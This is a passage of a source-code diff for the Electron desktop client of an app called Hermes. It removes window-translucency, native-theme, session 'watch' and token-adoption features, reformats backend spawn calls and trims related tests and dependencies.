@@ -4907,34 +4745,30 @@ async function startHermes() {
     await advanceBootProgress('backend.spawn', `Starting Hermes backend via ${backend.label}`, 84)
     rememberLog(`Starting Hermes backend via ${backend.label}`)
 
-    hermesProcess = spawn(
-      backend.command,
-      backend.args,
-      hiddenWindowsChildOptions({
-        cwd: hermesCwd,
-        env: {
-          ...process.env,
-          // Explicitly pin HERMES_HOME for the child so Python's get_hermes_home()
-          // resolves to the SAME location our resolveHermesHome() picked. Without
-          // this pin, Python falls back to ~/.hermes on every platform — fine on
-          // mac/linux (where our default matches), but on Windows our default is
-          // %LOCALAPPDATA%\hermes, which differs from C:\Users\<u>\.hermes.
-          // Mismatch would split config / sessions / .env / logs across two
-          // directories. install.ps1 sets HERMES_HOME via setx; the desktop
-          // can't reliably do that, so we set it inline for every spawn.
-          HERMES_HOME,
-          ...backend.env,
-          TERMINAL_CWD: hermesCwd,
-          HERMES_DASHBOARD_SESSION_TOKEN: token,
-          // Marks this dashboard backend as desktop-spawned so it runs the cron
-          // scheduler tick loop (the gateway isn't running under the app).
-          HERMES_DESKTOP: '1',
-          HERMES_WEB_DIST: webDist
-        },
-        shell: backend.shell,
-        stdio: ['ignore', 'pipe', 'pipe']
-      })
-    )
+    hermesProcess = spawn(backend.command, backend.args, hiddenWindowsChildOptions({
+      cwd: hermesCwd,
+      env: {
+        ...process.env,
+        // Explicitly pin HERMES_HOME for the child so Python's get_hermes_home()
+        // resolves to the SAME location our resolveHermesHome() picked. Without
+        // this pin, Python falls back to ~/.hermes on every platform — fine on
+        // mac/linux (where our default matches), but on Windows our default is
+        // %LOCALAPPDATA%\hermes, which differs from C:\Users\<u>\.hermes.
+        // Mismatch would split config / sessions / .env / logs across two
+        // directories. install.ps1 sets HERMES_HOME via setx; the desktop
+        // can't reliably do that, so we set it inline for every spawn.
+        HERMES_HOME,
+        ...backend.env,
+        TERMINAL_CWD: hermesCwd,
+        HERMES_DASHBOARD_SESSION_TOKEN: token,
+        // Marks this dashboard backend as desktop-spawned so it runs the cron
+        // scheduler tick loop (the gateway isn't running under the app).
+        HERMES_DESKTOP: '1',
+        HERMES_WEB_DIST: webDist
+      },
+      shell: backend.shell,
+      stdio: ['ignore', 'pipe', 'pipe']
+    }))
 
     hermesProcess.stdout.on('data', rememberLog)
     hermesProcess.stderr.on('data', rememberLog)
@@ -4983,19 +4817,10 @@ async function startHermes() {
       }
     })
 
-    await advanceBootProgress('backend.port', 'Waiting for Hermes backend to launch', 86)
-    // Discover the ephemeral port the child bound to
-    const port = await Promise.race([waitForDashboardPort(hermesProcess), backendStartFailed])
-
     const baseUrl = `http://127.0.0.1:${port}`
     await advanceBootProgress('backend.wait', 'Waiting for Hermes backend to become ready', 90)
     await Promise.race([waitForHermes(baseUrl, token), backendStartFailed])
     backendReady = true
-    const authToken = await adoptServedDashboardToken(baseUrl, token, {
-      // The exit/error handlers null hermesProcess when the child dies.
-      childAlive: () => hermesProcess !== null && hermesProcess.exitCode === null && !hermesProcess.killed,
-      rememberLog
-    })
     updateBootProgress({
       phase: 'backend.ready',
       message: 'Hermes backend is ready. Finalizing desktop startup',
@@ -5009,8 +4834,8 @@ async function startHermes() {
       mode: 'local',
       source: 'local',
       authMode: 'token',
-      token: authToken,
-      wsUrl: `ws://127.0.0.1:${port}/api/ws?token=${encodeURIComponent(authToken)}`,
+      token,
+      wsUrl: `ws://127.0.0.1:${port}/api/ws?token=${encodeURIComponent(token)}`,
       logs: hermesLog.slice(-80),
       ...getWindowState()
     }
@@ -5073,29 +4898,21 @@ function focusWindow(win) {
 }
 
 // Open (or focus) a standalone window for a single chat session.
-function createSessionWindow(sessionId, { watch = false } = {}) {
+function createSessionWindow(sessionId) {
   return sessionWindows.openOrFocus(sessionId, () => {
     const icon = getAppIconPath()
     const win = new BrowserWindow({
-      width: SESSION_WINDOW_MIN_WIDTH,
-      height: SESSION_WINDOW_MIN_HEIGHT,
-      minWidth: SESSION_WINDOW_MIN_WIDTH,
-      minHeight: SESSION_WINDOW_MIN_HEIGHT,
+      width: 480,
+      height: 800,
+      minWidth: 420,
+      minHeight: 620,
       title: 'Hermes',
       titleBarStyle: 'hidden',
       titleBarOverlay: getTitleBarOverlayOptions(),
       trafficLightPosition: IS_MAC ? WINDOW_BUTTON_POSITION : undefined,
       vibrancy: IS_MAC ? 'sidebar' : undefined,
-      opacity: windowOpacity(),
       icon,
-      // Don't show until the renderer's first themed paint is ready. macOS
-      // `vibrancy` ignores `backgroundColor` and paints a translucent OS
-      // material (which follows the OS appearance, not the app theme), so a
-      // dark-themed app on a light-mode Mac flashes white until the renderer
-      // covers it. ready-to-show fires after the boot-time paint in
-      // themes/context.tsx, so the window appears already themed.
-      show: false,
-      backgroundColor: getWindowBackgroundColor(),
+      backgroundColor: '#f7f7f7',
       webPreferences: {
         preload: path.join(__dirname, 'preload.cjs'),
         contextIsolation: true,
@@ -5110,10 +4927,6 @@ function createSessionWindow(sessionId, { watch = false } = {}) {
       win.setWindowButtonPosition?.(WINDOW_BUTTON_POSITION)
     }
 
-    win.once('ready-to-show', () => {
-      if (!win.isDestroyed()) win.show()
-    })
-
     win.on('will-enter-full-screen', () => sendWindowStateChanged(true))
     win.on('enter-full-screen', () => sendWindowStateChanged(true))
     win.on('will-leave-full-screen', () => sendWindowStateChanged(false))
@@ -5124,8 +4937,7 @@ function createSessionWindow(sessionId, { watch = false } = {}) {
     win.loadURL(
       buildSessionWindowUrl(sessionId, {
         devServer: DEV_SERVER,
-        rendererIndexPath: DEV_SERVER ? undefined : resolveRendererIndex(),
-        watch
+        rendererIndexPath: DEV_SERVER ? undefined : resolveRendererIndex()
       })
     )
 
@@ -5151,13 +4963,8 @@ function createWindow() {
     titleBarOverlay: getTitleBarOverlayOptions(),
     trafficLightPosition: IS_MAC ? WINDOW_BUTTON_POSITION : undefined,
     vibrancy: IS_MAC ? 'sidebar' : undefined,
-    opacity: windowOpacity(),
     icon,
-    // Hidden until the first themed paint so macOS `vibrancy` (which ignores
-    // `backgroundColor` and follows the OS appearance) can't flash a light
-    // material before the renderer paints the app theme. See createSessionWindow.
-    show: false,
-    backgroundColor: getWindowBackgroundColor(),
+    backgroundColor: '#f7f7f7',
     webPreferences: {
       preload: path.join(__dirname, 'preload.cjs'),
       contextIsolation: true,
@@ -5193,10 +5000,6 @@ function createWindow() {
     }
   }
 
-  mainWindow.once('ready-to-show', () => {
-    if (mainWindow && !mainWindow.isDestroyed()) mainWindow.show()
-  })
-
   mainWindow.on('will-enter-full-screen', () => sendWindowStateChanged(true))
   mainWindow.on('enter-full-screen', () => sendWindowStateChanged(true))
   mainWindow.on('will-leave-full-screen', () => sendWindowStateChanged(false))
@@ -5308,12 +5111,12 @@ ipcMain.handle('hermes:backend:touch', async (_event, profile) => {
   return { ok: true }
 })
 ipcMain.handle('hermes:gateway:ws-url', async (_event, profile) => freshGatewayWsUrl(profile))
-ipcMain.handle('hermes:window:openSession', async (_event, sessionId, opts) => {
+ipcMain.handle('hermes:window:openSession', async (_event, sessionId) => {
   if (typeof sessionId !== 'string' || !sessionId.trim()) {
     return { ok: false, error: 'invalid-session-id' }
   }
 
-  createSessionWindow(sessionId.trim(), { watch: opts?.watch === true })
+  createSessionWindow(sessionId.trim())
 
   return { ok: true }
 })
@@ -5322,8 +5125,8 @@ ipcMain.handle('hermes:bootstrap:reset', async () => {
   // reset connection state so the next startHermes() call restarts the
   // full backend flow (including a fresh runBootstrap pass).
   rememberLog('[bootstrap] reset requested by renderer; clearing latched failure')
-  await teardownPrimaryBackendAndWait()
   bootstrapFailure = null
+  connectionPromise = null
   bootstrapState = {
     active: false,
     manifest: null,
@@ -5721,35 +5524,6 @@ ipcMain.on('hermes:titlebar-theme', (_event, payload) => {
   mainWindow?.setTitleBarOverlay?.(getTitleBarOverlayOptions())
 })
 
-// Pin the native appearance to the app theme (see NATIVE_THEME_CONFIG_PATH).
-ipcMain.on('hermes:native-theme', (_event, mode) => {
-  if (!THEME_SOURCES.has(mode)) {
-    return
-  }
-
-  if (nativeTheme.themeSource !== mode) {
-    nativeTheme.themeSource = mode
-    writePersistedThemeSource(mode)
-  }
-})
-
-// See-through window translucency. Persist + re-apply opacity to every open
-// window at runtime (no recreation, so caching/sessions are untouched).
-ipcMain.on('hermes:translucency', (_event, payload) => {
-  const next = clampIntensity(payload && payload.intensity)
-
-  if (next === translucencyIntensity) {
-    return
-  }
-
-  translucencyIntensity = next
-  writePersistedTranslucency(next)
-
-  for (const win of BrowserWindow.getAllWindows()) {
-    applyWindowTranslucency(win)
-  }
-})
-
 ipcMain.handle('hermes:openExternal', (_event, url) => {
   if (!openExternalUrl(url)) {
     throw new Error('Invalid external URL')
@@ -6001,8 +5775,6 @@ ipcMain.handle('hermes:fs:readDir', async (_event, dirPath) => readDirForIpc(dir
 
 ipcMain.handle('hermes:fs:gitRoot', async (_event, startPath) => gitRootForIpc(startPath))
 
-ipcMain.handle('hermes:fs:worktrees', async (_event, cwds) => worktreesForIpc(cwds))
-
 ipcMain.handle('hermes:terminal:start', async (event, payload = {}) => {
   if (!nodePty) {
     throw new Error('PTY support is unavailable. Reinstall desktop dependencies and restart Hermes.')
@@ -6189,15 +5961,11 @@ async function getUninstallSummary() {
       resolve(value)
     }
     try {
-      const child = spawn(
-        py,
-        ['-m', 'hermes_cli.main', 'uninstall', '--gui-summary'],
-        hiddenWindowsChildOptions({
-          cwd: agentRoot,
-          env: { ...process.env, HERMES_HOME, NO_COLOR: '1' },
-          stdio: ['ignore', 'pipe', 'ignore']
-        })
-      )
+      const child = spawn(py, ['-m', 'hermes_cli.main', 'uninstall', '--gui-summary'], hiddenWindowsChildOptions({
+        cwd: agentRoot,
+        env: { ...process.env, HERMES_HOME, NO_COLOR: '1' },
+        stdio: ['ignore', 'pipe', 'ignore']
+      }))
       child.stdout.on('data', chunk => {
         stdout += chunk.toString()
       })
@@ -6355,7 +6123,7 @@ let _rendererReadyForDeepLink = false
 
 function _extractDeepLink(argv) {
   if (!Array.isArray(argv)) return null
-  return argv.find(a => typeof a === 'string' && a.startsWith(`${HERMES_PROTOCOL}://`)) || null
+  return argv.find((a) => typeof a === 'string' && a.startsWith(`${HERMES_PROTOCOL}://`)) || null
 }
 
 function handleDeepLink(url) {
@@ -6399,7 +6167,9 @@ ipcMain.handle('hermes:deep-link-ready', () => {
     _pendingDeepLink = null
     handleDeepLink(
       `${HERMES_PROTOCOL}://${queued.kind}/${encodeURIComponent(queued.name)}` +
-        (Object.keys(queued.params).length ? '?' + new URLSearchParams(queued.params).toString() : '')
+        (Object.keys(queued.params).length
+          ? '?' + new URLSearchParams(queued.params).toString()
+          : ''),
     )
   }
   return { ok: true }
@@ -6410,7 +6180,9 @@ function registerDeepLinkProtocol() {
     if (process.defaultApp && process.argv.length >= 2) {
       // Dev: register with the electron exec path + entry script so the OS can
       // relaunch us with the URL.
-      app.setAsDefaultProtocolClient(HERMES_PROTOCOL, process.execPath, [path.resolve(process.argv[1])])
+      app.setAsDefaultProtocolClient(HERMES_PROTOCOL, process.execPath, [
+        path.resolve(process.argv[1]),
+      ])
     } else {
       app.setAsDefaultProtocolClient(HERMES_PROTOCOL)
     }
@@ -6443,6 +6215,7 @@ app.on('open-url', (event, url) => {
   handleDeepLink(url)
 })
 
+
 app.whenReady().then(() => {
   if (IS_MAC) {
     Menu.setApplicationMenu(buildApplicationMenu())

apps/desktop/electron/preload.cjs

@@ -5,7 +5,7 @@ contextBridge.exposeInMainWorld('hermesDesktop', {
   revalidateConnection: () => ipcRenderer.invoke('hermes:connection:revalidate'),
   touchBackend: profile => ipcRenderer.invoke('hermes:backend:touch', profile),
   getGatewayWsUrl: profile => ipcRenderer.invoke('hermes:gateway:ws-url', profile),
-  openSessionWindow: (sessionId, opts) => ipcRenderer.invoke('hermes:window:openSession', sessionId, opts),
+  openSessionWindow: sessionId => ipcRenderer.invoke('hermes:window:openSession', sessionId),
   getBootProgress: () => ipcRenderer.invoke('hermes:boot-progress:get'),
   getConnectionConfig: profile => ipcRenderer.invoke('hermes:connection-config:get', profile),
   saveConnectionConfig: payload => ipcRenderer.invoke('hermes:connection-config:save', payload),
@@ -39,8 +39,6 @@ contextBridge.exposeInMainWorld('hermesDesktop', {
   watchPreviewFile: url => ipcRenderer.invoke('hermes:watchPreviewFile', url),
   stopPreviewFileWatch: id => ipcRenderer.invoke('hermes:stopPreviewFileWatch', id),
   setTitleBarTheme: payload => ipcRenderer.send('hermes:titlebar-theme', payload),
-  setNativeTheme: mode => ipcRenderer.send('hermes:native-theme', mode),
-  setTranslucency: payload => ipcRenderer.send('hermes:translucency', payload),
   setPreviewShortcutActive: active => ipcRenderer.send('hermes:previewShortcutActive', Boolean(active)),
   openExternal: url => ipcRenderer.invoke('hermes:openExternal', url),
   fetchLinkTitle: url => ipcRenderer.invoke('hermes:fetchLinkTitle', url),
@@ -54,7 +52,6 @@ contextBridge.exposeInMainWorld('hermesDesktop', {
   getRecentLogs: () => ipcRenderer.invoke('hermes:logs:recent'),
   readDir: dirPath => ipcRenderer.invoke('hermes:fs:readDir', dirPath),
   gitRoot: startPath => ipcRenderer.invoke('hermes:fs:gitRoot', startPath),
-  worktrees: cwds => ipcRenderer.invoke('hermes:fs:worktrees', cwds),
   terminal: {
     dispose: id => ipcRenderer.invoke('hermes:terminal:dispose', id),
     resize: (id, size) => ipcRenderer.invoke('hermes:terminal:resize', id, size),

apps/desktop/electron/session-windows.cjs

@@ -5,30 +5,22 @@
 
 const { pathToFileURL } = require('node:url')
 
-// Secondary windows open at the minimum usable size — a compact side panel for
-// subagent watch / cmd-click session pop-out, not a second full desktop.
-const SESSION_WINDOW_MIN_WIDTH = 420
-const SESSION_WINDOW_MIN_HEIGHT = 620
-
 // Build the renderer URL for a secondary window. The renderer uses a
 // HashRouter, so the session route lives after the '#'. The `?win=secondary`
 // flag MUST sit in the query string BEFORE the '#': anything after the '#' is
 // treated as the route by HashRouter and would break routeSessionId(). The
 // renderer reads the flag from window.location.search to suppress the install /
-// onboarding overlays and the global session sidebar. `watch=1` marks a
-// spectator window (e.g. a running subagent's session): the renderer resumes
-// it lazily so the gateway never builds an agent just to stream into it.
-function buildSessionWindowUrl(sessionId, { devServer, rendererIndexPath, watch } = {}) {
-  const query = `?win=secondary${watch ? '&watch=1' : ''}`
+// onboarding overlays and the global session sidebar.
+function buildSessionWindowUrl(sessionId, { devServer, rendererIndexPath } = {}) {
   const route = `#/${encodeURIComponent(sessionId)}`
 
   if (devServer) {
     const base = devServer.endsWith('/') ? devServer.slice(0, -1) : devServer
 
-    return `${base}/${query}${route}`
+    return `${base}/?win=secondary${route}`
   }
 
-  return `${pathToFileURL(rendererIndexPath).toString()}${query}${route}`
+  return `${pathToFileURL(rendererIndexPath).toString()}?win=secondary${route}`
 }
 
 // A small registry keyed by sessionId that guarantees one window per chat:
@@ -91,9 +83,4 @@ function createSessionWindowRegistry() {
   }
 }
 
-module.exports = {
-  buildSessionWindowUrl,
-  createSessionWindowRegistry,
-  SESSION_WINDOW_MIN_HEIGHT,
-  SESSION_WINDOW_MIN_WIDTH
-}
+module.exports = { buildSessionWindowUrl, createSessionWindowRegistry }

apps/desktop/electron/session-windows.test.cjs

@@ -76,12 +76,6 @@ test('buildSessionWindowUrl builds a packaged file URL with the flag before the
   assert.match(url, /^file:\/\/.*index\.html\?win=secondary#\/abc$/)
 })
 
-test('buildSessionWindowUrl adds the watch flag for spectator windows, before the hash', () => {
-  const url = buildSessionWindowUrl('abc', { devServer: 'http://localhost:5173', watch: true })
-
-  assert.equal(url, 'http://localhost:5173/?win=secondary&watch=1#/abc')
-})
-
 test('registry opens one window per session and focuses on re-open', () => {
   const registry = createSessionWindowRegistry()
   let built = 0

apps/desktop/electron/windows-child-process.test.cjs

@@ -8,7 +8,7 @@ const path = require('node:path')
 const ELECTRON_DIR = __dirname
 
 function readElectronFile(name) {
-  return fs.readFileSync(path.join(ELECTRON_DIR, name), 'utf8').replace(/\r\n/g, '\n')
+  return fs.readFileSync(path.join(ELECTRON_DIR, name), 'utf8')
 }
 
 function requireHiddenChildOptions(source, needle) {
@@ -42,9 +42,6 @@ test('intentional or interactive desktop child processes stay documented', () =>
   const source = readElectronFile('main.cjs')
 
   assert.match(source, /windowsHide: false/)
-  assert.match(source, /handOffWindowsBootstrapRecovery/)
-  assert.match(source, /'--repair', '--branch'/)
-  assert.match(source, /'--update', '--branch'/)
   assert.match(source, /nodePty\.spawn\(command, args/)
   assert.match(source, /spawn\('cmd\.exe', \['\/c', 'start'/)
 })

apps/desktop/index.html

@@ -9,28 +9,6 @@
     <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png" />
     <link rel="shortcut icon" href="/apple-touch-icon.png" />
     <title>Hermes</title>
-    <script>
-      // Pre-paint the themed background before the app bundle loads. Without
-      // this, the first frame (which is what `ready-to-show` waits for) is the
-      // UA-default white page, and the real theme only lands once the whole
-      // module graph has executed — i.e. the "white flash" on every new
-      // window. applyTheme() in src/themes/context.tsx keeps these keys fresh.
-      try {
-        let bg = localStorage.getItem('hermes-boot-background')
-        let scheme = localStorage.getItem('hermes-boot-color-scheme')
-        if (!bg) {
-          const dark = window.matchMedia('(prefers-color-scheme: dark)').matches
-          bg = dark ? '#111111' : '#f7f7f7'
-          scheme = dark ? 'dark' : 'light'
-        }
-        document.documentElement.style.backgroundColor = bg
-        if (scheme === 'dark' || scheme === 'light') {
-          document.documentElement.style.colorScheme = scheme
-        }
-      } catch {
-        // localStorage unavailable — keep UA defaults.
-      }
-    </script>
   </head>
   <body>
     <div id="root" class="scrollbar-dt"></div>

apps/desktop/package.json

@@ -18,8 +18,7 @@
     "profile:main": "wait-on http://127.0.0.1:5174 && cross-env XCURSOR_SIZE=24 HERMES_DESKTOP_DEV_SERVER=http://127.0.0.1:5174 electron --inspect=9229 .",
     "profile:main:cpu": "wait-on http://127.0.0.1:5174 && cross-env XCURSOR_SIZE=24 NODE_OPTIONS=--cpu-prof HERMES_DESKTOP_DEV_SERVER=http://127.0.0.1:5174 electron .",
     "start": "npm run build && electron .",
-    "build": "node scripts/assert-root-install.cjs && node scripts/write-build-stamp.cjs && node scripts/stage-native-deps.cjs && tsc -b && vite build && npm run postbuild",
-    "postbuild": "node scripts/assert-dist-built.cjs",
+    "build": "node scripts/assert-root-install.cjs && node scripts/write-build-stamp.cjs && node scripts/stage-native-deps.cjs && tsc -b && vite build && node scripts/assert-dist-built.cjs",
     "builder": "cross-env NODE_OPTIONS=--max-old-space-size=16384 electron-builder",
     "pack": "npm run build && npm run builder -- --dir",
     "dist": "npm run build && npm run builder",
@@ -36,7 +35,7 @@
     "test:desktop:nsis": "node scripts/test-desktop.mjs nsis",
     "test:desktop:existing": "node scripts/test-desktop.mjs existing",
     "test:desktop:fresh": "node scripts/test-desktop.mjs fresh",
-    "test:desktop:platforms": "node --test electron/bootstrap-platform.test.cjs electron/hardening.test.cjs electron/backend-env.test.cjs electron/backend-probes.test.cjs electron/bootstrap-runner.test.cjs electron/connection-config.test.cjs electron/dashboard-token.test.cjs electron/gateway-ws-probe.test.cjs electron/oauth-net-request.test.cjs electron/desktop-uninstall.test.cjs electron/session-windows.test.cjs electron/workspace-cwd.test.cjs electron/fs-read-dir.test.cjs electron/git-root.test.cjs electron/windows-child-process.test.cjs electron/update-remote.test.cjs",
+    "test:desktop:platforms": "node --test electron/bootstrap-platform.test.cjs electron/hardening.test.cjs electron/backend-probes.test.cjs electron/bootstrap-runner.test.cjs electron/connection-config.test.cjs electron/gateway-ws-probe.test.cjs electron/oauth-net-request.test.cjs electron/desktop-uninstall.test.cjs electron/session-windows.test.cjs electron/workspace-cwd.test.cjs electron/fs-read-dir.test.cjs electron/git-root.test.cjs electron/windows-child-process.test.cjs electron/update-remote.test.cjs",
     "typecheck": "tsc -p . --noEmit",
     "lint": "eslint src/ electron/",
     "lint:fix": "eslint src/ electron/ --fix",
@@ -90,7 +89,6 @@
     "react-router-dom": "^7.17.0",
     "react-shiki": "^0.9.3",
     "remark-math": "^6.0.0",
-    "remend": "^1.3.0",
     "shiki": "^4.0.2",
     "streamdown": "^2.5.0",
     "tailwind-merge": "^3.5.0",
@@ -99,7 +97,6 @@
     "unicode-animations": "^1.0.3",
     "unified": "^11.0.5",
     "unist-util-visit-parents": "^6.0.2",
-    "use-stick-to-bottom": "^1.1.6",
     "vfile": "^6.0.3",
     "web-haptics": "^0.0.6"
   },

apps/desktop/src/app/agents/index.tsx

@@ -3,8 +3,8 @@ import { type ReactNode, useEffect, useMemo, useState } from 'react'
 
 import { useElapsedSeconds } from '@/components/chat/activity-timer'
 import { ActivityTimerText } from '@/components/chat/activity-timer-text'
+import { BrailleSpinner } from '@/components/ui/braille-spinner'
 import { FadeText } from '@/components/ui/fade-text'
-import { GlyphSpinner } from '@/components/ui/glyph-spinner'
 import { type Translations, useI18n } from '@/i18n'
 import { AlertCircle, CheckCircle2, Sparkles } from '@/lib/icons'
 import { useEnterAnimation } from '@/lib/use-enter-animation'
@@ -25,7 +25,7 @@ import { OverlayView } from '../overlays/overlay-view'
 function statusGlyph(status: SubagentStatus, a: Translations['agents']): ReactNode {
   if (status === 'running' || status === 'queued') {
     return (
-      <GlyphSpinner
+      <BrailleSpinner
         ariaLabel={a.running}
         className="size-3.5 shrink-0 text-[0.95rem] text-muted-foreground/80"
         spinner="breathe"
@@ -290,7 +290,7 @@ function StreamLine({
       <span className={cn('min-w-0 flex-1 wrap-anywhere', tone, isMono && 'font-mono text-[0.69rem]')}>
         {entry.text}
         {active ? (
-          <GlyphSpinner
+          <BrailleSpinner
             ariaLabel={t.agents.streaming}
             className="ml-1 inline-block size-2.5 align-middle text-muted-foreground/70"
             spinner="breathe"
@@ -372,9 +372,7 @@ function SubagentRow({ node, depth = 0, nowMs }: { node: SubagentNode; depth?: n
 
       {open && fileLines.length > 0 ? (
         <div className="grid min-w-0 gap-0.5 pl-6">
-          <p className="text-[0.58rem] font-medium tracking-wider text-muted-foreground/60 uppercase">
-            {t.agents.files}
-          </p>
+          <p className="text-[0.58rem] font-medium tracking-wider text-muted-foreground/60 uppercase">{t.agents.files}</p>
           {fileLines.slice(0, 8).map(line => (
             <p className="wrap-break-word font-mono text-[0.67rem] leading-relaxed text-muted-foreground/80" key={line}>
               {line}

apps/desktop/src/app/artifacts/index.tsx

@@ -18,7 +18,7 @@ import {
 } from '@/components/ui/pagination'
 import { TextTab, TextTabMeta } from '@/components/ui/text-tab'
 import { Tip } from '@/components/ui/tooltip'
-import { getSessionMessages, listAllProfileSessions } from '@/hermes'
+import { getSessionMessages, listSessions } from '@/hermes'
 import { type Translations, useI18n } from '@/i18n'
 import { sessionTitle } from '@/lib/chat-runtime'
 import { ExternalLink, ExternalLinkIcon, hostPathLabel, urlSlugTitleLabel, useLinkTitle } from '@/lib/external-link'
@@ -388,8 +388,8 @@ export function ArtifactsView({ setStatusbarItemGroup: _setStatusbarItemGroup, .
     setRefreshing(true)
 
     try {
-      const sessions = (await listAllProfileSessions(30, 1)).sessions
-      const results = await Promise.allSettled(sessions.map(session => getSessionMessages(session.id, session.profile)))
+      const sessions = (await listSessions(30, 1)).sessions
+      const results = await Promise.allSettled(sessions.map(session => getSessionMessages(session.id)))
       const nextArtifacts: ArtifactRecord[] = []
 
       results.forEach((result, index) => {

apps/desktop/src/app/chat/composer/completion-drawer.tsx

@@ -2,21 +2,25 @@ import type { Unstable_TriggerAdapter } from '@assistant-ui/core'
 import { ComposerPrimitive } from '@assistant-ui/react'
 import type { ReactNode } from 'react'
 
-import { composerFusedDockCard } from '@/components/chat/composer-dock'
-import { cn } from '@/lib/utils'
+export const COMPLETION_DRAWER_CLASS = [
+  'absolute bottom-[calc(100%+0.375rem)] left-0 z-50',
+  'w-80 max-w-[calc(100vw-2rem)]',
+  'max-h-[min(22rem,calc(100vh-8rem))] overflow-y-auto overscroll-contain',
+  'rounded-xl border border-(--ui-stroke-secondary)',
+  'bg-[color-mix(in_srgb,var(--ui-bg-elevated)_97%,transparent)]',
+  'p-1 text-xs text-popover-foreground shadow-lg',
+  'backdrop-blur-md'
+].join(' ')
 
-// Same docked chrome as the queue/status stack, but its own thing: a narrow,
-// left-aligned card (not full width) that fuses to the composer's edge instead
-// of floating above it. `left-1` matches the stack's `mx-1` inset; the negative
-// margin overlaps the seam so the composer's (now-transparent) edge border reads
-// as shared. Fused (opaque) fill — the composer surface swaps to the same fill
-// while a drawer is open, so the two paint as one panel.
-const DRAWER_SHELL =
-  'absolute left-1 z-50 w-80 max-w-[calc(100%-0.5rem)] max-h-[min(22rem,calc(100vh-8rem))] overflow-y-auto overscroll-contain p-1 text-xs text-popover-foreground'
-
-export const COMPLETION_DRAWER_CLASS = cn(DRAWER_SHELL, 'bottom-full -mb-[9px]', composerFusedDockCard('top'))
-
-export const COMPLETION_DRAWER_BELOW_CLASS = cn(DRAWER_SHELL, 'top-full -mt-[9px]', composerFusedDockCard('bottom'))
+export const COMPLETION_DRAWER_BELOW_CLASS = [
+  'absolute left-0 top-[calc(100%+0.375rem)] z-50',
+  'w-80 max-w-[calc(100vw-2rem)]',
+  'max-h-[min(22rem,calc(100vh-8rem))] overflow-y-auto overscroll-contain',
+  'rounded-xl border border-(--ui-stroke-secondary)',
+  'bg-[color-mix(in_srgb,var(--ui-bg-elevated)_97%,transparent)]',
+  'p-1 text-xs text-popover-foreground shadow-lg',
+  'backdrop-blur-md'
+].join(' ')
 
 export function ComposerCompletionDrawer({
   adapter,

apps/desktop/src/app/chat/composer/context-menu.tsx

@@ -11,7 +11,6 @@ import {
   DropdownMenuSeparator,
   DropdownMenuTrigger
 } from '@/components/ui/dropdown-menu'
-import { Kbd } from '@/components/ui/kbd'
 import { useI18n } from '@/i18n'
 import { Clipboard, FileText, FolderOpen, type IconComponent, ImageIcon, Link, MessageSquareText } from '@/lib/icons'
 import { cn } from '@/lib/utils'
@@ -87,7 +86,7 @@ export function ContextMenu({
 
           <div className="px-2 py-1 text-[0.7rem] text-muted-foreground/80">
             {c.tipPre}
-            <Kbd size="sm">@</Kbd>
+            <kbd className="rounded bg-muted/70 px-1 py-px font-mono text-[0.65rem]">@</kbd>
             {c.tipPost}
           </div>
         </DropdownMenuContent>

apps/desktop/src/app/chat/composer/controls.tsx

@@ -1,6 +1,5 @@
 import { Button } from '@/components/ui/button'
 import { Codicon } from '@/components/ui/codicon'
-import { KbdCombo } from '@/components/ui/kbd'
 import { Tip } from '@/components/ui/tooltip'
 import { useI18n } from '@/i18n'
 import { triggerHaptic } from '@/lib/haptics'
@@ -64,14 +63,7 @@ export function ComposerControls({
 }) {
   const { t } = useI18n()
   const c = t.composer
-  const steerCombo = formatCombo('mod+enter')
-  const steerLabel = `${c.steer} (${steerCombo})`
-  const steerTip = (
-    <span className="inline-flex items-center gap-1.5">
-      {c.steer}
-      <KbdCombo combo="mod+enter" size="sm" variant="inverted" />
-    </span>
-  )
+  const steerLabel = `${c.steer} (${formatCombo('mod+enter')})`
 
   if (conversation.active) {
     return <ConversationPill {...conversation} disabled={disabled} />
@@ -83,7 +75,7 @@ export function ComposerControls({
     <div className="ml-auto flex shrink-0 items-center gap-(--composer-control-gap)">
       <DictationButton disabled={disabled} onToggle={onDictate} state={state.voice} status={voiceStatus} />
       {canSteer && (
-        <Tip label={steerTip}>
+        <Tip label={steerLabel}>
           <Button
             aria-label={steerLabel}
             className={GHOST_ICON_BTN}

apps/desktop/src/app/chat/composer/enter-submit-dom-race.test.tsx

@@ -24,7 +24,6 @@ afterEach(cleanup)
 // state stays stale while the DOM already holds the text.
 function Harness({
   busy = false,
-  disabled = false,
   queued = [],
   onSubmit,
   onQueue,
@@ -32,7 +31,6 @@ function Harness({
   onDrain
 }: {
   busy?: boolean
-  disabled?: boolean
   queued?: readonly string[]
   onSubmit: (text: string) => void
   onQueue: (text: string) => void
@@ -54,10 +52,6 @@ function Harness({
   }
 
   const submitDraft = () => {
-    if (disabled) {
-      return
-    }
-
     const editor = editorRef.current
     if (editor) {
       const domText = composerPlainText(editor)
@@ -90,10 +84,6 @@ function Harness({
       const editorText = editorRef.current ? composerPlainText(editorRef.current) : draftRef.current
       const hasLivePayload = editorText.trim().length > 0 || attachments.length > 0
 
-      if (disabled) {
-        return
-      }
-
       if (!busy && !hasLivePayload && queued.length > 0) {
         onDrain()
 
@@ -196,23 +186,4 @@ describe('composer Enter submit — live DOM vs stale composer state (#39630)',
     expect(onDrain).toHaveBeenCalledTimes(1)
     expect(onSubmit).not.toHaveBeenCalled()
   })
-
-  it('keeps reconnect drafts editable but blocks Enter submit until the gateway returns', async () => {
-    const onSubmit = vi.fn()
-    const onDrain = vi.fn()
-    const { getByTestId } = render(
-      <Harness disabled onCancel={vi.fn()} onDrain={onDrain} onQueue={vi.fn()} onSubmit={onSubmit} queued={['queued-1']} />
-    )
-    const editor = getByTestId('editor')
-
-    await act(async () => {
-      editor.textContent = 'draft while reconnecting'
-      fireEvent.input(editor)
-      fireEvent.keyDown(editor, { key: 'Enter' })
-    })
-
-    expect(editor.textContent).toBe('draft while reconnecting')
-    expect(onDrain).not.toHaveBeenCalled()
-    expect(onSubmit).not.toHaveBeenCalled()
-  })
 })

apps/desktop/src/app/chat/composer/focus.ts

@@ -10,7 +10,6 @@
  * steal focus from the composer effect.
  */
 
-import { RICH_INPUT_SLOT } from './rich-editor'
 import type { InlineRefInput } from './inline-refs'
 
 export type ComposerTarget = 'edit' | 'main'
@@ -124,12 +123,3 @@ export const focusComposerInput = (el: HTMLElement | null) => {
   window.requestAnimationFrame(focus)
   window.setTimeout(focus, 0)
 }
-
-/** Drop focus from the main composer input (status-stack chrome, sidebar, etc.). */
-export const blurComposerInput = () => {
